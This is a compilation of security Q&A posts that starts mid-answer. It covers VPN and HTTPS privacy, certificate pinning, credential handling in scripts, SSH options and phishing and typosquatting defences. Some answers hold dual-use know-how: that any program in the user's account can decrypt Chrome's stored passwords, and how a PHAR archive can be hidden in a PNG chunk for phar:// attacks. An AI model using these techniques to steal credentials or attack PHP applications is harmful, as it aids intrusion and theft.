If you use HTTP, it can only be sniffed (and modified) from the VPN provider onwards,
If you use HTTPS, your DNS queries cannot be sniffed (from B or C), thus hiding (from those) which sites you're visiting.

Either way, you do not hide your DNS queries from your VPN provider or its ISP.
An additional benefit is pseudonymity; you do not leak your ISP-assigned IP-Address, but that one of the VPN provider, adding an extra layer of depseudonymization to identifying you.
HTTPS with Public Key Pinning
Public Key Pinning (mainly) defeats two threats that would inter-operate:

A man in the middle (B, C, D or E) that would break up the otherwise secure connection between A and F,

A rouge certificate authority that creates certificates for 1. to be able to present to you and be validated correctly.
A sub-threat to this would be that a dishonest CA could be installed in your trust store (e.g. by HTTPS proxies used in large organizations to actively inspect HTTPS connections for threats - but those are usually considered OK.

Public Key Pinning can thus defeat MITMs that can (for whatever reason) present (otherwise) valid certificates to break up the communication. This would allow B,C,D or E (not mutually exclusively) read and/or alter your HTTPS traffic.
Conclusion
A client that uses HPKP (correctly) is reasonably safe, albeit reducing usability: the before-mentioned HTTPS proxies would make communication impossible when it would otherwise be possible. In such cases, VPNs are usually not allowed, so a VPN wouldn't improve usability there.
A does however gain pseudonymity towards F by using a VPN, yet that is probably defied by an authentication feature within the application.


How did Firefox get my passwords? I just installed Firefox browser, while I have previously used Google Chrome as my main browser. I am using Windows 10.
During the installation and setup process for Firefox, I was given the option to migrate over my data from Chrome, including usernames and passwords. This process completed quickly, and I was then able to log in to various websites using my saved passwords that I previously had in Chrome.  This whole process was quite convenient, but it got me thinking:
How did Firefox get my passwords?
I never had to type in any of my passwords into Firefox, and I never had to do anything in Chrome to "release" this information to Firefox.  The only requirement given by Firefox was that Chrome should be closed during the process. I also didn't need to grant the installer program any elevated privileges, besides just allowing it to run.
So what mechanism is Firefox using to retrieve these passwords from Chrome? This other answer claims that Windows has no mechanism to protect the passwords, but I still wonder what the actual mechanism is, and why the browser design is unable (or unwilling for some other reason) to protect access to the passwords through any other means outside of OS privileges. (The only explanation I've come up with is that it is inconvenient for the user to enter their "master password" every time they start the browser).
My previous understanding was this:
If I try to view my passwords in chrome on passwords.google.com, I have to re-enter the password to log in to my main Google account where they (presumably) are stored.  Of course, to actually use these passwords to log in to a site on Chrome, I don't have to enter my main password most of the time.  I assume this is because the browser has session token that it uses to authenticate the retrieval of these passwords in most cases.
Could it be that Firefox "stole" this token to access my passwords?  Or that the passwords are actually stored locally in some form that can be decrypted without needing the user's input?
And finally, does this mean that it is trivial for any program to steal my passwords in this manner?

(I had to make some quick research for this intriguing question).
The saved passwords can be decrypted by Firefox (or any other software) as long as it is running within your windows account on the same machine where the passwords were encrypted.
Chrome encrypt stored password using CryptUnProtectData, the algorithm relies on the user logon credentials and some information specifics to the machine to decrypt the passwords.
You can check here a Python implementation that uses the same encryption function to read the saved passwords on Chrome.


How attacker can access victim's account without knowing its credentials? I want to login facebook from a wifi connection and check sign-in page is over https but later when i don't pay attention to address bar (for example when playing games and click on links like a crazy person quickly) can attacker by man-in-the-middle-attack send me a facebook page in http and see my cookie then use that cookie to use my account?

Not speaking for Facebook specifically, but in any decently configured Web server, the cookies sent over HTTPS are marked "secure" and the browser will not send them back to the server if not using HTTPS (from the browser point of view, if the name is the same but not the protocol, then it is not the same server).

Of course, a user who crazily clicks without paying attention... that's the root of all vulnerabilities.


How can a trusted intranet certificate be issued if they are being phased out? I've just seen this article regarding the phasing out of intranet names on SSL certificates.

However, CAs such as this one claim to still issue them and it will be "Trusted by all popular browsers" even though they are listed as members in the guidelines document.

There is also a guidance document available regarding internal server names.

My question is how are they still managing to issue SSL certificates for internal names if this is against CA/Browser Forum guidelines?

My only guess is that it depends on region - e.g. not possible in the US, but possible with a UK CA. If so could a US resident company/individual simply use a UK site to buy their certificate?

The CA/Browser Forum is a voluntary organization of Certification Authorities and suppliers of Internet browser
  and other relying-party software applications.

So it says on the second page of the "guidelines" document. The important word is "voluntary". These "guidelines" are not the Law. This just is a document edited by a group of corporations who found it worth the effort, at some point, to edit such a document, for unspecified reason.

These guidelines might be the basis for some contractual agreement between corporations; e.g. Microsoft might edict that commercial CA who wish to see their root CA public key included by default in the Windows "trusted store" must comply with the CA/Browser forum guidelines. However, not complying with the guidelines will not incur any legal retaliation beyond civil retorts about such contracts. This is a completely private business; the Law and the governments around the world have no relation whatsoever with these guidelines and their enforcement.

As a side note, it is known that though Microsoft tries to maintain some strict behaviour rules for the CA they set as "trusted by default", they must make exceptions for some "governmental CA" because refusing to include the pet CA key of some governments may imply the loss of access to big local markets. Regardless of what they may claim in the CA/Browser forum meetings, big players like Microsoft must already deal with "exceptions".

The interesting question, though, is what Comodo says to its co-members of the CA/Browser forum, since PositiveSSL is owned by Comodo. The ban on "intranet names" is supposed to be effective on November 1st, 2015 (no more certificates issued beyond that date), and enforced on October 1st, 2016 (still valid certificates with "intranet names" are revoked). My guess is that Comodo will try to make money for as long as possible, and may try to negotiate a longer phasing-out delay.


Using command (dd if=/dev/mmcblk0p1 | sha1sum) while running from initramfs I have an opensource airgapped raspberry pi project seen at the following link: www.privatekeyvault.com

I have provided a method for installing LUKS full disk encryption seen at the following: https://github.com/johnshearing/PrivateKeyVault#setup-luks-full-disk-encryption

I am trying to mitigate against a Maid in the Middle Attack explained at following: https://github.com/johnshearing/PrivateKeyVault#preventing-the-evil-maid-or-maid-in-the-middle-attack

The concern is someone could install a malware keylogger on the boot partition and collect the password when logging into the encrypted partition while still running initramfs

Once logged into my encrypted partition, I can run the following command to see the sha1sum of the boot partition: dd if=/dev/mmcblk0p1 | sha1sum

I compare this against a previously recorded sha1sum to see if the boot partition has changed. It should never change.

I want to get the sha1sum of the boot partition before logging into the encrypted partition. In other words, before providing my password. This is while I am still running under initramfs. I understand that this is folly because anyone installing a keylogger could also install a false sha1sum program so perhaps it is best to run the sha1sum command after logging into the encrypted partition where it is not possible to change the sha1sum program. Still, I am curious if it is possible to do.

The challenge is that when running the command (df), /dev/mmcblk0p1 does not show up so my command (dd if=/dev/mmcblk0p1 | sha1sum) will not work.

Any ideas how to refer to the boot partition while in initramfs?

Also, any other ideas on how to check if someone has tampered with the boot partition before logging into the encrypted partition?

Thanks for the help.

Verification from inside the potentially compromised system is pointless. If a program is missing from the initramfs you could add it manually via initramfs hook scripts. But just running sha1sum /dev/mmcblk0p1 should do the trick and work out of the box.
You can get a list of the partitions by running blkid.
However, as raspberrys usually boot from SD cards the best solution would be to always carry it with you. Or verify the checksum on another system.


Risks of client-side encryption using Stanford Crypto Library I'm building a simple web application for encrypted chat. Each message will undergo 256-bit AES encryption on the client side, using the Stanford Javascript Crypto Library. No unencrypted data or password information will ever leave the user's browser.

Is it safe to implement this scheme, using client-side encryption, even without SSL?

Javascript is sent from the server to the client; whatever cryptography you do client-side will provide security only insofar as the code which the client runs has not been altered in transit -- which means that SSL is still required, at least to make sure that what the client receives and runs really is the genuine implementation of your protocol.

This implies that if the server is hostile to the client, then the server wins and the client is doomed. Correspondingly, it is a futile endeavour to try to protect the client computations from the server. From this (somewhat simplistic) argument, we may conclude that it makes little sense to encrypt data on the client; just use SSL, send the data to server, and let the server do its job. The server is trusted, which means that if the server wants to betray you, then you are defenceless.

The Stanford Javascript Crypto Library is still good science, but it does not map well to the use of Javascript in a classic Web context. It would make a lot more sense as part of a browser extension or anything similarly scripted which benefits from a specific, independent, secure distribution mechanism for code.

(Note that all of the above applies even if your protocol is rock-solid from a cryptographic point of view -- and not many cryptographers would dare pretend that they can accomplish such a feat by themselves, without extensive peer review.)


Safe way to authenticate (multi-factor authentication?) while being monitored? (I'm trying for a bit more precise answer, particularly with regard to multi-factor authentication, than I received for "Safe way to use a computer that has spyware/keylogger installed?" on SU.)

Let's suppose that I am using a computer that is, for contractual/legal/policy reasons, extensively monitored.  For argument's sake, let's assume that anything visible on screen and anything typed are captured (so on-screen keyboards are not secure).  The policy allows me to make some personal use of the monitored computer, but not to disable or circumvent the monitoring (so I can't boot the computer into an unmonitored environment), nor to use my own personal computer.  Can I use multi-factor authentication or some other method to safely authenticate to a remote service (e.g., to an OpenID provider, an email account, ssh, etc.)?  By "safely," I mean in a way that will not permit someone who has access to the monitoring logs to authenticate to the remote service as me.

One-time passwords would seem to fit the bill.

Assuming you aren't being filmed, you could have a list printed out.


Securely send password to script as parameter I have an expect script on my server which opens a WebDAV connection to another server, expects a username and password, and then sends $arg1 and $arg2 as the username and password respectively.

Example: Running the script:

# ./script.exp username password

This executes the script with username and password as arguments.
Specifically, this script is executed with php, which grabs the variables from a database:

<?php
    exec("expect script.exp $username $password");

The main issue with this is that those parameters can be seen with a ps aux call.

Q) Assuming only I have access to the server and filesystem, would it still be safe even though the password can be seen by listing ps aux?

An pseudo example of my expect script:

    //Webdav connection established, target server prompts me for username
    expect "Enter Username"
    send "$arg1\r"
    //Target server accepts username, now prompts me for password
    expect "Enter Password"
    send "$arg2\r"

If this is not safe, or if the php exec() is unsafe, what is a better way to execute my script and pass the username and password to it?

If someone had access to the filesystem of the server, they could also read the password. If you run a ls -al /proc/<pid-of-another-users-process>/cmdline command, you can see that it can be read by everyone.

There are multiple ways of how to solve this.

The first stdin approach

First, you start a process in php, and then communicate with it through stdin/stdout pipes: tutorial, manual.

The expect script reads from the stdin and stores the username and password into variables:

#!/usr/bin/expect
# Read input to stdin
expect_user -re "(.*)\n"
set username $expect_out(1,string)
expect_user -re "(.*)\n"
set password $expect_out(1,string)
#only for testing purposes:
puts "got $username!"
puts "got $password!"

The second stdin approach

If you run expect in the console, you can see that it accepts its program from stdin. You can invoke a new process expect, and give it an expect script created in your php script, with the password hardcoded, through stdin.
It may be possible you need to close the stream to get the code executed.
Make sure you make the right escapes to not turn this into a expect code injection vulnerability.

The temporary file approach

You can write the username and the password into a temporary file (filename unique to the current invocation!) and read it from the expect script later. Or you can even generate a temporary expect script with the password hardcoded, but I'd recommend against it, as its too hacky. The file should be only accessible by your current user.


NISTIR 7966 (Security of Automated Access Management Using Secure Shell) - is there anything new? Tatu Ylönen (the creator of SSH protocol) and two others authored a report recently, offering their views on SSH key management. I have read the report, and am struggling to identify whether it is corporate astroturfing for the authors' outfits or genuine advice to IT orgs using SSH widely and on a regular basis.

In particular, what are the advantages that a separate SSH key management system would provide for an enterprise network, and do they outweigh the costs and risk of single-point compromise of the said key provisioning/management system?

Yolen described his motivation with existing examples in presentaion of LISA 2013, "Managing Access Using SSH Keys". https://www.usenix.org/conference/lisa13/managing-access-using-ssh-keys https://www.usenix.org/sites/default/files/conference/protected-files/ylonen_lisa13_slides.pdf

In the presentation as well as NISTIR 7966, they don't mentioned separate management system SHOULD be necessary. They just said lack of management frameworks introduce the risk. They give the "typical" case that have very large number of clients, servers, users and keys where management tools must be necessary. In general cases, risk and cost is just trade-off.  Many can keep ssh management without single-point system.


SSL3 error when requesting connection using TLS 1.2 I've come across several hosts that throw SSL3 handshake errors even though I explicitly request TLS 1.2. Why is this? Am I using the openssl client wrong?

$ openssl s_client -tls1_2 -connect i-d-images.vice.com:443
CONNECTED(00000003)
140735150146384:error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure:s3_pkt.c:1472:SSL alert number 40
140735150146384:error:1409E0E5:SSL routines:ssl3_write_bytes:ssl handshake failure:s3_pkt.c:656:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 7 bytes and written 0 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : 0000
    Session-ID:
    Session-ID-ctx:
    Master-Key:
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1444078671
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
---

In SSL/TLS, the client does not request a specific protocol version; the client announces the maximum protocol version that it supports, and then the server chooses the protocol version that will be used. Your client does not tell "let's use TLS 1.2"; it says "I know up to TLS 1.2".

A client may have its own extra requirements, but there is no room to state them in the ClientHello message. If the client wants to do TLS 1.2 only, then he must announce "up to TLS 1.2" in its ClientHello, and also close the connection if the server responds with a message that says anything else than "let's do TLS 1.2". In your case, things did not even reach that point: the server responded with a fatal alert 40 ("handshake_failure", see the standard). As @dave_thompson_085 points out, this is due to a lack of SNI: this is an extension by which the client documents in its ClientHello message the name of the target server. SNI is needed by some servers because they host several SSL-enabled sites on the same IP address, and need that parameter to know which certificate they should use. The command-line tool openssl s_client can send an SNI with an explicit -servername option.

As @Steffen explained, SSL 3.0 and all TLS versions are quite similar and use the same record format (at least in the early stage of the handshake) so OpenSSL tends to reuse the same functions. Note that since the server does not respond with a ServerHello at all, the protocol version is not yet chosen, and SSL 3.0 is still, at least conceptually, a possibility at that early point of the handshake.


Are grsecurity kernels available through Arch and Gentoo repos suitable for production? From grsecurity announce (August 26, 2015):

The test series, unfit in our view for production use, will however continue to be available to the public to avoid impact to the Gentoo Hardened and Arch Linux communities

Does versions available through Arch and Gentoo repos recommended to use? What are possible drawbacks?

I think grsecurity is fairly clear as to whether they think they are suitable for production in the paragraph you quoted: they're not.
They are well tested and potentially patched by the Arch and Gentoo communities that use them and mark them stable but if you mean to advertise that you are using grsecurity to clients, you'll have a hard time saying that you're using versions grsecurity themselves deem unsuitable for production.
That was actually the whole point of restricting access to the stable versions of grsecurity after Intel continuously used their name without consent, even for unsupported kernel versions.
Overall, you're generally safe using them in a production environment, you just can't brag about it since officially, grsecurity doesn't consider the patches you're using.


How to identify which certificate I'm missing to produce HTTPS calls? I posted a question similar to this one on Stack Overflow, but that has not produced any answers so far, so I'm hoping someone here will be able to help me out.

Somewhat simplified, I'm trying to do a POST request via https using Postman (later I'm hoping to reproduce it in PL/SQL under Oracle using UTL_HTTP), but I'm having some certificate-related issues. I have a specific url I'll be trying to reach later, but for testing purposes, I've been using a webhook url just to verify that I could make calls out at all.

I am able to perform a post request to a https-address if I disable SSL Certificate Verification under the Postman settings - so it's apparently possible to reach an outside url, so long as I don't care about the validity of the certificates used.

Proxy issues
I my problems are due to the fact that I'm behind a proxy at the organization I'm currently working for. If I look at the certificate path for the cert for webhook.site for instance, it looks like the following, where the grayed out parts of cert names are names related to the organization.

The result of this is that when I try to perform https POST requests to webhook without disabling cert verification, it fails with the following error shown in my Postman console:

  Error: unable to verify the first certificate.

Attempted solutions
A couple of things I've experimented with to try to solve this:

Importing and adding any or all of the certs from the certification path shown above into my cert store.
Importing the certs into Postman (under Settings > Certificates) - although I'm far from certain that I've done this correctly, or if this is even the right way to go about it.

My hunch is that I just need to get the correct certificate installed in the correct place in order for this to work. The problem is I can't figure out which certificate that should be in this case (or where it should be installed for that matter, though I would assume that adding it under trusted root certificates in the system cert store should suffice?).

Are these assumptions correct? Any tips on how I can figure out exactly which certificate I'm actually missing?

The error is because the client - postman - cannot verify the server certificate. My assumption based on the information you provided is that your organization's proxy acts as a Man-In-The-Middle and terminates SSL at the proxy. As a result, you recieve a certificate signed by your organization rather than something signed by a trusted certificate authority.

The solutions to this is adding the signing authority as trusted CA on the client side.


What LDAP schema is recommended for PKI? In my research, I found some RFCs that have not been updated in over a decade, e.g draft-ietf-pkix-ldap-crl-schema-01.

I also explored several public directories used in PKI (e.g. x500.bund.de) and established that they chose not to stick to that RFC. Other directories I found did not follow that recommendation either.

At this point I am under the impression that people roll their own schema, as I failed to find some consensus in this regard.

What reading material do you recommend for determining a schema for PKI? And in the same context, if you happen to run such a server - what schema did you choose, and why?

I'm assuming you're trying to deploy your own LDAP backed certificate service. The best matching schema for this purpose is the cosine schema available in all OpenLDAP installations. If you don't want to install the openldap server just to get the schema, then simply extract it from the source code here - http://www.openldap.org/software/download/ . The cosine schema can be found in folder servers\slapd\schema under the root directory of the source code.

Since I don't know the full details of your requirement, I'm guessing that at the minimum set of attribute types that you would need to store for a PKI would be: public certificates of the user, CA certificates and certificate revocation lists. These attributes are available in this schema.

In case you need specific tweaks and customization, you can always add your own supporting schema with additional attributes or objects with custom mix 'n match of attributes. See this reference for more details - http://www.openldap.org/doc/admin24/schema.html . I've had to do this on several occasions, and its difficult to get the syntax right initially, but its straightforward once you get the hang of it.


Two-Factor Authentication on downloadable client but not website A friend of mine plays RuneScape, and mentioned to me that her account was recently compromised. She told me she has two step authentication on her RuneScape account, and on the email address associated with the account.

When she signs into the game client on her computer, she tells me she is asked to provide a code from her authentication app on her phone. However, she has never been asked for a 6 digit code when she signs into the RuneScape website itself.

This struck me as odd, so I created an account to test this, and sure enough, was only asked for an authentication code on the downloadable game client.

Does this count as true two-factor authentication? Are there any standards/guidelines that we can show the game's developers in the hopes of getting them to implement authentication on their website as well as their client?

Authentication isn't an either/or sort of thing.  An application can have various "levels" of authentication, where higher levels unlock more functionality. For example, you can shop for items on Amazon using just a persistent cookie that tells Amazon who you are-- no password required. But if you wish to perform a purchase or edit your credit card information, a password is required.

Games can be similar. You don't need your second factor to post messages on the game's web forum, but maybe you need that second factor to enter the game (e.g. if entering the game allows you to do more, such as give away all of your in-game currency and/or equipment).

While certain web access seems less secure without that second factor, I'll bet you cannot access your recurring payment information on the web without entering the 2FA info.  This allows the user to do low-security tasks without bothering with the token but offers the necessary protections against high-security tasks.


How (un)safe is it to protect an admin page with a simple query-string password? I have a very simple admin web page that simply displays feedback messages left by users of my mobile app. The messages are sent from the app to a web server, and to view the messages one needs to visit a particular URL and supply a (very long) query string parameter.

How safe is this?

It feels like it should be rather safe, at least for such a limited admin page. There are no password forms to enter the query string, and no public web pages that link to this URL, so nothing to draw the attention of a possible attacker.

What mostly worries me is that Google might pick up on the URL if I visit it in Chrome, and possibly start linking to it in one place or another. Not sure if they do such a thing (yet) though.

If it is a query string, and I am assuming it is served over a non secure channel the url will be cached in browser history, intermediate caches and passed via refer parameters when navigating to other urls.  It may be acceptable if it is purely to view feedback before you make it public.  If it is more important I would put better controls in place.


Is there any MAC like hmac-sha2-256-96 mac in openssh? I used this command

$ ssh username@ip_addr -m hmac-sha2-256-96

but I got this message: unknown type mac

Is there any MAC like this or is it really not valid?

No, there is no such MAC. The list of available MACs can be queried using ssh -q mac:

$ ssh -Q mac
hmac-sha1
hmac-sha1-96
hmac-sha2-256
hmac-sha2-512
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
umac-64@openssh.com
umac-128@openssh.com
hmac-sha1-etm@openssh.com
hmac-sha1-96-etm@openssh.com
hmac-sha2-256-etm@openssh.com
hmac-sha2-512-etm@openssh.com
hmac-md5-etm@openssh.com
hmac-md5-96-etm@openssh.com
hmac-ripemd160-etm@openssh.com
umac-64-etm@openssh.com
umac-128-etm@openssh.com

If I see right, you were trying to combine the hmac-md5-96 with hmac-sha2-256, but it does not make any sense.

The last number says the length of the hash (why to specify it twice?), in the MD5 case truncated to 96 bit (out of 128 bit), but in the SHA2 case, the last number simply gives the length of the hash (because SHA2 has variable hash-length, not only truncation as the long broken MD5).


Best Source of Security Configuration Guidance Over the years I have used a number of different sources of security configuration guidance for a spectrum of systems including for example:

https://www.cisecurity.org/cis-benchmarks/
https://www.stigviewer.com/stigs
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-security-baselines
https://www.cisco.com/c/en/us/support/docs/ip/access-lists/13608-21.html
https://apps.nsa.gov/iaarchive/library/ia-guidance/index.cfm?PAGE=1&itemsQty=ALL
https://www.us-cert.gov/security-publications etc

Given that there are so many different sources, in an attempt to prune the option space, do the following rules make sense?

First, follow government direction;
Second, in the absence of government direction follow the manufacturer's recommendation;
Third, in the absence of a manufacturer's recommendation follow the best practice authorities (eg. CIS) recommendation.

But since multiple best-practice authorities my provide alternate hardening advice for the same system, are there any criteria for preferring one best-practice authority over another (eg. CIS or Stig)?

PS
I can't work out if NSA's Information Assurance function is still providing this kind of guidance - are they still in the business of doing this?

RFC 1925: line 10: One size never fits all.

So there was never such best-practice security approach for all.

It depends on what your focus/policy compliance strategy.
General harden I think we should follow general guides on each system/os such as Windows security documents or Redhat security guides because it will balance the security/troubleshoot time as your links above.

If your environment focus more about security then stick with STIG/What-ever-certificate compliance checklist and spend more time to troubleshoot why it's not working.


Restrict access to admin area by checking SSH connections Assuming that the users have dynamic IPs (so I can't whitelist) and that setting up a VPN is not an option, is it a valid approach to restrict access to an administration area by only allowing IPs that are currently connected via SSH on the server? Are there any security issues with this?

What if the server in which the user is logged in via SSH isn't the same as the site's server. Is it OK to have the site call a service on that other server that would tell if an specific IP is logged in? Any implications that I'm not aware of?

PS: I'd still be asking for password over SSL and implementing other basic security measures, the question is about restricting access.

PPS: I understand the usability issues, assume users are always logged in via SSH.

only allowing IPs that are currently connected via SSH

An IP address does not equal a person. What is someone is using public wifi at a coffee shop? Several dozen people could be sharing his IP address.


Could you hack a gas station's fuel dispenser? This might be a dumb question, but still, would it be possible for someone to hack in to a fuel dispenser and change the price, fuel consumed, etc?

The answer to any question of the type "Is it possible to hack X?" is yes. It might be hard. It might only be possible under certain limiting conditions (e.g. you might need physical access if it's not connected to a network). It might require very specific skills or information (e.g. knowledge of whatever software a fuel pump runs). But it is still possible.

That said, it's probably easier to just pay your bill.


Is it possible to embed a phar archive into a PNG image? I know it's possible to embed phar archives into jpeg images but is it also possible to do so with PNG images? I am testing a php application that securely checks if an image is a valid PNG image however it calls vulnerable filesystem functions like file_exists on said file, so I am curious if this is a potential attack vector - and if this is a potential attacker vector how could I embed the phar archive into the image? Is it strikingly similar to embedding phar archives into jpeg images? Or is there a different technique for doing this?

You can hide a PHAR inside an image (PNG, JPEG)
You can hide a PHAR file within a PNG image (or a JPEG image) by using a custom data block. You could even declare you own chunk called "phAR" or "phAr", and put a PHAR file into it. I believe this can be readily done with ExifTool. You now have a valid PNG, which actually is a valid PHAR in "custom format" as far as the phar:// stream is involved.
Does this possibility create additional insecurity?
No. The main insecurity must already be there and is neither increased nor decreased by the possibility of supplying a masked PHAR rather than a plain (e.g. ZIP-format) PHAR.
Let us consider these files:
phar.png       - a valid PNG containing a PHAR
phar.phar.png  - the first PHAR, with a PNG extension (so, not a PNG)

The trick that allows the file to be executed is not being "a PHAR inside a PNG". Rather, it is "the caller using the phar:// stream" (or, equivalently, "the caller allowing the attacker to specify any stream at all, including the phar stream".
But if the attacker can specify a file like "phar://phar.png", chances are, overwhelmingly, that he could just use "phar://phar.phar.png", or even "phar://phar.phar", without using the PNG at all.
On the other hand, if the attacker cannot include the magic "phar://" sequence, then they will be unable to exploit the phar vulnerability - be it in PNG, JPEG, PHAR, or MP3 for that matter.
The one use case where "PHAR masking" could be needed is if the vulnerable application checks that the supplied URL or filename ends in PNG, but does not check that it begins with "http(s)://" or is an actual local path. Not only do I feel that this scenario is unlikely, but I submit that it could be more easily exploited by simply renaming any old PHAR so that it has a ".png" extension. This is because the activation of the PHAR stream is not driven by the file or is structure, but by its URL or path.
This is a bit like how the physicist Richard P. Feynman was taught how to mix white and red paint into yellow: you add a bit of white, you add a bit of red, and if necessary add a hefty dollop of bright yellow.
Here, the PNG masking is somewhat like the red paint, and the "phar://" stream is the yellow paint. Yes, you can add white and red -- but you won't get yellow until you mix in the yellow paint. And if you have yellow, you need neither white nor red.


Why are there no browser feature or extension to only check the domain and username to prevent phishing? One of the recommendations to prevent phishing using look-alike domain names (like www.google.com.phishing.org or IDN homograph attacks) is to use a password manager or a physical security token like a YubiKey, because since it records the domain and username associated to a password to autocomplete it, it won't autocomplete those fields if the domain name is incorrect.

That solution seems rather strange to me, because it looks like a hack: it is not the primary usecase of those tools. Indeed, the tool's ability to store passwords is useless in this particular case, though it's its primary usecase.
However, it still is an interesting solution, that should work in a lot of situations.

So why are there no browser feature or extension that would offer to record trusted domain names, and display something when you're on the right domain name, like the "lock" icon for HTTPS or the "star" icon for favorites?

It would be simpler to configure, use and maintain, without requiring to store passwords.

What would be the drawbacks of such tool?

There are and you mentioned one: favourites. Favourite or bookmarks do exactly what you want. But I suppose that you feel that there is a problem with that as a solution, and there is.

The problem has to do with the balance of security and convenience. You want something that is effective but does not reduce your ability to do what you want. A solution has to provide clear information, but not be in the way. You would quickly uninstall a plugin that showed a banner on every website that was not in your trusted list. You also do not want something that the user will easily overlook. So it has to be out of the way until it becomes relevant. Knowing when to be relevant is a massive problem to solve.

Here is what has been tried and is available even today:

Before password managers, the advice was to bookmark the sites you went to and to check for the star before you entered a password. This was about as successful as you would imagine (not very). It required that people voluntarily remembered to check before entering passwords.

Browsers themselves had built-in tools, like IE's "Trusted Sites" list. It displayed an icon in the bar. But that had the same problem: it required that users check for the icon.

Then there came cookies that allowed you to remain logged in so that you never had to type in your password ("keep me logged in"). If you had to log in, something was suspicious. This became a massive vulnerability because cookies could be stolen.

TLS certificates used to be expensive so the advice for a long time was "if you see the green lock in the URL bar, then you know it is trusted". This was fine until certificates became free and, like favourites, it required the user to voluntarily check for the lock. Malicious actors would also leverage valid sites using TLS to host their malicious pages (or use Google Docs).

Then, in the corporate environment, there were whitelists. This was extremely successful to prevent phishing, but awful in terms of employee happiness. You can still get browser extensions that use the whitelist idea.

Then there were the "reputation circles" and other reputation-based methods. A browser extension allowed users from around the world to rate sites. This was much better than whitelisting, but then malicious actors poisoned the ranking system and allowed malicious sites to be trusted.

To improve on that, DNS services used their info to provide reputation services, and there are many used today. You can get these DNS reputation plugins for any browser. The problem here is that it is up to the DNS provider to recognize and rate a site appropriately. Malicious actors are actively finding ways to evade their algorithms.

Password manager plug-ins are the best way to protect yourself from this problem, and it is not a "hack" but a defined feature of browser-based password managers. You set a password that you cannot remember yourself, you get the password manager to do it for you, and if it doesn't, you do not just know that something is wrong, but you are prevented from entering the data that you do not know. Offline password managers cannot do this for you.

An online, in-browser password manager is completely out of the way until the very point where it is needed. It is unobtrusive, and provides a barrier that is difficult to get past without a lot of effort. It defines the list of relevant, trusted sites, and offers both convenience and security. That's why they are so highly recommended, especially for non-technical users.


Detecting malicious browser redirects When you visit faecbook.com you'll be redirected to a page that has no benefits for the user visiting it. The page will either try to:

Get your personal information.
Have you download their malware.
Have you call their technicians to "repair" your computer.
etc.

There are thousands of domains like faecbook.com that redirect visitors to malicious pages. How can you detect such malicious redirections?

Here are my thoughts:

Check the domain for typosquatting.
Check the length of the redirection url. They are mostly very long because they pass info about the visitor.
Count number of redirects.
Match domain against blacklist.

A combination of these features could be used to build a classifier. My goal is to detect that you are getting redirected to a malicious page before even arriving there. I'm not a professional in this field so I was wondering if someone else could come up with interesting features to detect malicious redirections. Any input is appreciated.

You've compiled a neat list of possible indicators for a classifier. Some feedback:

First: Who would run this classifier? Are you talking about a browser or a browser plugin that will check every URL, or are you designing a redirector service of some kind? Are you building a search engine? Obviously, your classifier only works in cases like these; it doesn't help if you're just the owner of the real "facebook.com" and want to protect your users from entering "faecbook.com", because you'll never get to see the wrong "faecbook.com".

Playing devil's advocate to your suggestions:

Check the domain for typosquatting: This only works if you have an inkling what the "actual" domain name should be. You could probably automate this using result counts of various search engines (or, if you were a search engine yourself, look at your index to identify close matches) or try to access domain registry databases. Or, as a browser plugin developer, you could create a central database of domains your users visit, and then determine which domains are typosquatters using some simple statistics. However, if you did this, you'd have to deal with serious privacy issues.
Check the length of the redirection url: This is dangerous: There are various protocols which require redirection and which can pass a lot of information through the URL (oauth, for example). You'd have to exclude these protocols to avoid false positives. Also, some frameworks send things like session identifiers as parameters in the URL as a fallback when cookies are disabled. That's hard to distinguish from your typosquatter.
Count the number of redirects: I don't understand this. If you're refering to the number of redirects the browser does when it hits a typosquatter url, I don't think this will work very well as an indicator. Again, there are valid reasons for redirects, and a higher number doesn't necessarily imply malicious intent. Also, there's no technical reason for typosquatters to do more than one redirect (in fact, they don't even need to do a single one; redirects are just the simplest (and cheapest!) way to forward the user to a third-party site, but they could take the traffic and cpu hit and act as a proxy instead of doing http redirection, which would be invisible to you - it would just make it more expensive for the bad guys); so if you built a hugely successful classifier based on the number of redirects, the typosquatters could simply adapt.
Blacklist: It will never be even close to complete or up to date. How would you compile it? If you were a browser plugin developer, one way would be to record which domains your users visit, as I already said. If you were a search engine, you might be able to do something with your index, although most typosquatter domains probably wouldn't be indexed at all, so there'd be no way to build an even remotely useful blacklist from it.

An additional avenue you might think about is to try to classify the target page based on its content. You say that the target pages try to get you to provide personal information, offer fake tech support etc. It might be possible to build a classifier on that, kind of like the classifiers to determine whether we're dealing with ham or spam in our mailboxes. You could also run a limited spider on the target site to see how big it was; if it only offered a handful of pages, that would be an additional indicator. But again, if you were successful, this would be easily overcome by your opponents automatically building a large number of fake additional pages.


Getting and then distributing a wildcard SSL certificate -- is this okay? I have a stupid/crazy idea that I wanted to ask about here. It's probably not going to work, but I'm curious.

Browser security won't allow insecure web sockets (ws://) from secure (https://) pages for various reasons. I'd like to create an app that allows secure web sites to access a lot of different things via WS, and I don't want to have to create SSL certs for everything.

So...

Crazy hack: get a wildcard certificate for a domain (e.g. insecureashell.net) and set up DNS servers to serve IPs encoded in host names under that domain. So for example 1.1.1.1.insecureashell.net would resolve to 1.1.1.1.

Then distribute the private key for this wildcard cert everywhere, allowing all the apps to show up as "secure" from browsers making wss://1.1.1.1.insecureashell.net/ connections.

I'm assuming this violates some kind of cert handling policy in the https CA rules and would get this cert revoked, but I can't find anything to this effect. I also can't think of a reason this is inherently bad, since it would only apply to this specific "phony SSL" domain and nowhere else on the net. CORS headers could be used to allow or deny this, etc.

So why won't this work? :)

Edit: maybe it will. Apparently there are private SSL certs for domains that resolve to 127.0.0.1 on GitHub: https://github.com/Daplie/localhost.daplie.com-certificates

The specific example you use won't work, because it contains multiple levels of sub-domains, and wildcard certs are only valid for a single level.  So a cert for  *.insecureshell.net will work for 1.insecureshell.net, and 2.insecureshell.net, but not 1.1.insecureshell.net, and certainly not 1.1.1.1.insecureshell.net.  However, that doesn't mean a variation on this can't work, at least assuming you actually control 1.1.1.1 and say, 4.3.2.1 as examples.

